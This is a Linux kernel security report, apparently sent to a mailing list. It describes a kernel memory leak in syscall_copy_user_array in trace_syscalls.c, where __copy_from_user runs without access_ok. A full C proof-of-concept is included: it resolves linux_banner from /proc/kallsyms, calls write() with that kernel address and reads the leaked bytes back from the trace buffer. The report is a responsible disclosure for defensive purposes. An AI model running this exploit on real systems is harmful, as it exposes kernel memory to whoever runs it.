I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree. I have reproduced the leak on an
7.2.10 kernel.

1. Summary
The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
treats the raw syscall argument args[1] (the buffer pointer) of faultable
syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
with __copy_from_user(buf, args[1], size) without an access_ok() check.
When a traced process calls write(fd, <kernel address>, count), the
sys_enter tracepoint fires before vfs_write's access_ok and
__copy_from_user copies up to 165 bytes from that kernel address into the
per-CPU trace buffer, which is appended to the sys_enter_write event and
readable from /sys/kernel/tracing/trace. The write() itself then returns
EFAULT, but the leak is already complete. copy_from_user() would have
rejected a kernel address via access_ok(); __copy_from_user() does not.

2. Vulnerable code
- File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10)
- Function: syscall_copy_user_array
- Misused API: __copy_from_user

```c
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size);   /* ptr = args[1] (raw syscall buffer arg), 
no access_ok() */
```

3. Root cause
__copy_from_user() is the access_ok()-skipping variant of
copy_from_user(). The syscall fault tracing feature marks
write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets
user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count
argument). When such a syscall is ftrace-traced, sys_fault_user() takes
the syscall's *raw* argument args[1] (the buffer-pointer register value)
as a user address and, via syscall_copy_user_array(), calls
__copy_from_user(buf, args[1], size) with no access_ok(). Because args[1]
is the raw register value captured at the sys_enter tracepoint (before
vfs_write performs its own access_ok on the buffer), a traced process can
supply a kernel address there; __copy_from_user dereferences it directly
and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into
the per-CPU trace buffer. The content appears in the sys_enter_write trace
event and is readable from /sys/kernel/tracing/trace. The actual write()
then fails with EFAULT (vfs_write's access_ok rejects the kernel address),
but the leak has already happened in the tracepoint.

This differs from the trace.c:6836 site (tracing_mark_write), where the
VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer
before the ftrace .write handler runs. Here the leak happens at the
sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there
is no upstream guard on args[1].

4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on
an 7.2.10 kernel.

5. Trigger / Preconditions
root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via
tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and
tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process
calls write(fd, <kernel address>, count) while sys_enter_write tracing is
enabled.

6. Proof of Concept
Reproduced on a pristine Linux 7.2.10 kernel
(CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls
write(devnull, linux_banner_addr, 200); the sys_enter_write trace event
then contains the leaked linux_banner string.

Concrete reproduced evidence (version 7.2.10):
- The sys_enter_write trace event contains the leaked linux_banner hex
  blob and ASCII string; decoding matches /proc/version.
- Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc
  (Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on
  the test kernel.
- write() itself returns EFAULT (vfs_write access_ok rejects the kernel
  address), but the kernel-memory copy into the trace buffer has already
  completed in the sys_enter tracepoint.
- KASAN does not catch it (__copy_from_user performs no __asan_loadN on
  the source).

```c
/*
 *
 * Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
 * Run:   sudo ./poc_syscall_fault_leak
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>

#define TRACEFS "/sys/kernel/tracing"
#define EVT     TRACEFS "/events/syscalls/sys_enter_write"

static int write_file(const char *path, const char *val)
{
        int fd = open(path, O_WRONLY);
        if (fd < 0)
                return -1;
        if (write(fd, val, strlen(val)) < 0) {
                close(fd);
                return -1;
        }
        close(fd);
        return 0;
}

static unsigned long lookup_sym(const char *sym)
{
        FILE *f = fopen("/proc/kallsyms", "r");
        if (!f)
                return 0;
        char line[256], name[128];
        unsigned long a;
        char t;
        while (fgets(line, sizeof(line), f))
                if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && 
!strcmp(name, sym)) {
                        fclose(f);
                        return a;
                }
        fclose(f);
        return 0;
}

static char *read_file(const char *path, char *buf, size_t cap)
{
        int fd = open(path, O_RDONLY);
        if (fd < 0)
                return NULL;
        size_t total = 0;
        ssize_t n;
        while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) 
> 0)
                total += n;
        buf[total] = 0;
        close(fd);
        return buf;
}

int main(void)
{
        if (getuid() != 0) {
                fprintf(stderr, "[-] must run as root (tracefs is root-only, 
perf_event_paranoid=2)\n");
                return 1;
        }

        unsigned long kaddr = lookup_sym("linux_banner");
        if (!kaddr) {
                fprintf(stderr, "[-] cannot resolve linux_banner from 
/proc/kallsyms\n");
                return 1;
        }
        printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
        printf("[+]   (kernel string: \"Linux version 7.x (root@...) ...\")\n");
        printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> 
__copy_from_user (no access_ok)\n\n");

        int devnull = open("/dev/null", O_WRONLY);
        if (devnull < 0) {
                perror("open /dev/null");
                return 1;
        }

        if (access(EVT "/enable", W_OK) != 0) {
                fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, 
strerror(errno));
                fprintf(stderr, "    -> CONFIG_FTRACE_SYSCALLS off, or tracefs 
not mounted\n");
                return 1;
        }

        write_file(TRACEFS "/trace", "\n");

        int pipefd[2];
        if (pipe(pipefd) < 0) {
                perror("pipe");
                return 1;
        }

        pid_t child = fork();
        if (child < 0) {
                perror("fork");
                return 1;
        }
        if (child == 0) {
                close(pipefd[1]);
                char c;
                read(pipefd[0], &c, 1); /* wait until parent finished enabling 
*/
                close(pipefd[0]);
                /*
                 * THE TRIGGER: write(fd, KERNEL_ADDR, 200).
                 * The buf argument is a kernel address. The sys_enter 
tracepoint
                 * fires before vfs_write's access_ok, and __copy_from_user 
copies
                 * directly from that kernel address -> kernel memory enters 
the trace.
                 * write() then returns EFAULT, but the leak is already 
complete.
                 */
                syscall(__NR_write, devnull, (void *)kaddr, 200);
                _exit(0);
        }
        close(pipefd[0]);

        char filter[64];
        snprintf(filter, sizeof(filter), "common_pid == %d", child);
        if (write_file(EVT "/filter", filter) < 0)
                fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));

        if (write_file(EVT "/enable", "1") < 0)
                fprintf(stderr, "[!] enable event failed: %s\n", 
strerror(errno));

        write(pipefd[1], "x", 1);
        close(pipefd[1]);
        waitpid(child, NULL, 0);

        write_file(EVT "/enable", "0");
        write_file(EVT "/filter", "0");

        char buf[65536];
        if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
                fprintf(stderr, "[-] cannot read trace\n");
                return 1;
        }

        char *line = strstr(buf, "write(fd:");
        if (!line) {
                printf("[-] no sys_enter_write event captured.\n");
                printf("--- trace dump ---\n%s\n", buf);
                return 1;
        }
        char *eol = strchr(line, '\n');
        if (eol)
                *eol = 0;

        printf("[+] captured sys_enter_write event:\n    %s\n\n", line);

        if (strstr(line, "Linux version")) {
                printf("[!] 
============================================================\n");
                printf("[!] KERNEL MEMORY LEAK CONFIRMED at 
trace_syscalls.c:686\n");
                printf("[!] trace event contains the kernel banner string,\n");
                printf("[!] read from 0x%lx via __copy_from_user() WITHOUT 
access_ok()\n", kaddr);
                printf("[!] 
============================================================\n");
                return 0;
        }

        char *q1 = strchr(line, '"');
        if (q1) {
                char *q2 = strrchr(line, '"');
                if (q2 > q1) {
                        printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 
- q1 - 1), q1 + 1);
                        if (strstr(q1, "Linux") || strstr(q1, "version")) {
                                printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
                                return 0;
                        }
                }
        }
        printf("[?] no recognizable kernel string - inspect the hex blob in the 
event line above.\n");
        return 2;
}
```

7. Impact
Kernel memory information leak: up to 165 bytes per faultable-syscall
invocation via __copy_from_user() with no access_ok(), readable from
/sys/kernel/tracing/trace. 

Please let me know if you need more detail.

Best regards,
Haoran Wang <[email protected]>

Reply via email to